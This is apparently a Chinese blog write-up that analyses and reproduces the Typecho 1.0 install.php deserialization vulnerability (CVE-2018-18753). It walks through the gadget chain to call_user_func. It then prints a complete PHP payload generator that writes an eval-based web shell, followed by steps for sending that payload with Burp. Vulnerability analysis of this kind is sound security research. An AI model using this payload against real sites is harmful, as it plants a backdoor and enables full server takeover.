Typecho 反序列化漏洞 分析及复现
0x00 漏洞简介
CVE-2018-18753
漏洞概述:
typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。影响版本:typecho1.0(14.10.10)
0x01 环境搭建
- 上传源码到 WEB 目录,上传完毕后使用浏览器直接访问安装目录即可看到 Typecho 的 安装程序 install.php。
- 提前在 Mysql 数据库中创建好一个库 名 Typecho,下一步会使用这个数据库
- 按照提示更改你的数据库相关信息和默认账号信息等等,手动生成提示的配置文件,最后按提示进行安装即可。
0x02 漏洞分析
- 在 install.php 中发现了反序列化入口
这里将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config
- 全局搜索定位 Typecho_Cookie::get() 方法,定位到文件 /var/Typecho/Cookie.php 中发现 _typercho_config 是可控的,可以看到这里对 POST 或者 Cookie 传入的__typecho_config 变量进行一个反序列化,并且不能为数组。
- 我们再回到 install.php 中 继续分析,Typecho_Cookie::delete() 方法用于删除指定的 cookie 值
- 接下来 new 了一个 Typecho_Db 的新对象$db,将 $config 中的 adapter 和 prefix 的值传入
- 全局搜索定位类 Typecho_Db,定位到文件 /var/Typecho/Db.php,到这个 __construct() 魔术方法中,这里将对象 $adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 魔术方法。
- 全局搜索 __toString(),定位到文件/var/Typecho/Feed.php ,发现使用了 $item['author']->screenName,而这个$item 是$this->_items 里面循环出来的,将 $item['author'] 赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
php 面向对象编程中是 禁止在对象外直接访问由 private 所定义的私有属性,但是在类中添加魔术方法__set(),__get(),__isset(),__unset()后可间接访问对象中的私有属性。
- 全局搜索 function __get() 魔术方法,定位到文件 /var/Typecho/Request.php
- 继续跟进 get() 方法
- get() 方法最后调用了一个 _applyFilter() 方法,跟进
- 发现 敏感函数 call_user_func() ,而且里面的两个参数都是$filter 是 $this->_filter 循环出来的 ,$value 则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造 $filter 为 system , $value 为 whoami ,就可以命令执行了
0x03 利用总结
- 上文分析可知 反序列化漏洞 存在于 install.php 文件的安装程序中,要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish 赋一个任意值,第二个就是 _typecho_config 参数,而 这个_typecho_config 参数这个参数就是我们反序列化漏洞利用的重点。我们构造一个序列化后的字符串 POC 赋给 _typecho_config 参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func() 就可以达到命令执行的效果。
上文漏洞分析中第 2 步中,知道 __typecho_config 参数是由 Cookie 或者 POST 传参而来,且不能是数组。确定 payload 传参方式
下面分析重点就是如何构造一个序列化的字符串 _typecho_config,让其最终传入 敏感函数 call_user_func() 中而达到命令执行
上文漏洞分析中第 4 步 追踪 对象$db 的 new 的过程,发现在这个类的 __construct() 魔术方法中,对象 $adapterName 直接拼接到字符串中,会自动调用 __toString()魔术方法。而又通过全局搜索__toString()魔术方法 (上文漏洞分析中第 6 步),得知使用了一个属性可以利用$item['author']->screenName,$item['author']赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法。继续追踪 __get() 魔术方法,最终于发现 敏感函数 call_user_func() 并且它的两个参数 \$filter 和 $value 都是可控的。
$filter 是 class Typecho_Request 的私有属性,$item['author'] 也就是
$this->_items
即 class Typecho_Feed 的 私有属性 $_items,问题来了,漏洞利用在 class Typecho_Request 中,$item['author'] 是对象时,访问私有属性 screenName 调用的 __get() 魔术方法是 class Typecho_Feed 的才能最终利用 敏感函数 call_user_func() 执行命令。解决方法是在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象就可以解决。由于 要绕过 敏感函数 call_user_func() 中的 is_array,因此 class Typecho_Request 中 私有属性 数据结构都是 array
由上文漏洞分析中第 4 步和第 5 步可知,$db 对象新建时传入了两个参数 $config['adapter'] 和 $config['prefix'],对象新建是首先会调用 __construct() 魔术方法,联系起来,$config['adapter']=new Typecho_Feed() 即可全部串起来。
最终的 payload 如下:
<?php
class Typecho_Request{
private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
private $_filter= array('assert');
}
class Typecho_Feed{
private $_items=array();
private $_type='ATOM 1.0';
public function __construct()
{
$items['author']=new Typecho_Request();
$this->_items[0]=$items;
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho'; // 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>
0x04 漏洞复现
- 复制 payload,浏览器执行获取 base64 编码后的 payload 字符串
- burp 抓包,发送 payload,注意:Referer 需要是本站
- 成功写入 shell.php
Typecho 反序列化漏洞 分析及复现的更多相关文章
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
随机推荐
- shell 一些常用命令
一般自己虚拟机新安装的centos才需要此配置 setenforce 是Linux的selinux防火墙配置命令 执行setenforce 0 表示关闭selinux防火墙. getenforce 查 ...
- ios web 媒体查询兼容
原文:https://blog.csdn.net/dear_zx/article/details/82785250 防止链接丢失,复制一下 兼容iphone4/4s: @media (device-h ...
- P4491-[HAOI2018]染色【多项式,二项式反演】
正题 题目链接:https://www.luogu.com.cn/problem/P4491 题目大意 给\(n\)个物品染上\(m\)种颜色,若恰好有\(k\)个颜色的物品个数为\(S\)那么就会产 ...
- 关于mysql基础
早就想把自己的数据库基础巩固一下,然而一直没有时间,今天终于抽出时间对mysql数据库基础进行了学习与扩展. mysql与其他数据库的区别 Sqlite: 开源免费,体积小,单文件,没有进程.磁盘读性 ...
- FastAPI(43)- 基于 pytest + requests 进行单元测试
FastAPI 的单元测试 对于服务端来说,通常会对功能进行单元测试,也称白盒测试 FastAPI 集成了第三方库,让我们可以快捷的编写单元测试 FastAPI 的单元测试是基于 Pytest + R ...
- 算法——快速排序迭代式和递归式的Java实现
快速排序迭代式和递归式的Java实现 快速排序基于分治法的思想,在待排序表中任选一值作为中枢值 pivot,一趟快排将所有大于该值的元素置于一边,小于该值的元素置于另一边,这样一个元素在排序中的最终位 ...
- mybatis-plus最新版代码生成器(Swagger3)
写项目想用mybatis-plus+swagger3,百度最新版代码生成器都是旧版的,且官网的配置过于简洁,所以手敲一份,在官网的基础上加了一堆配置,lombok,restful,mvc三层结构目录等 ...
- hexo访问优化之--------gulp压缩
hexo访问优化之--------gulp压缩 hexo生成的博客是静态html页面,当有很多静态资源时,加载速度会非常慢,且github服务器在国外,导致网页加载速度非常差 gulp压缩 gulp是 ...
- 创建HTML文档
目录 创建HTML文档 构筑基本的文档结构 DOCTYPE元素 DOCTYPE元素 代码清单1 使用DOCTYPE元素 html元素 html元素 代码清单2 使用html元素 head元素 head ...
- 小白自制Linux开发板 六. SPI TFT屏幕修改与移植
本文章参考:https://www.bilibili.com/read/cv9947785?spm_id_from=333.999.0.0 本篇通过SPI接口,使用ST7789V TFT焊接屏(13p ...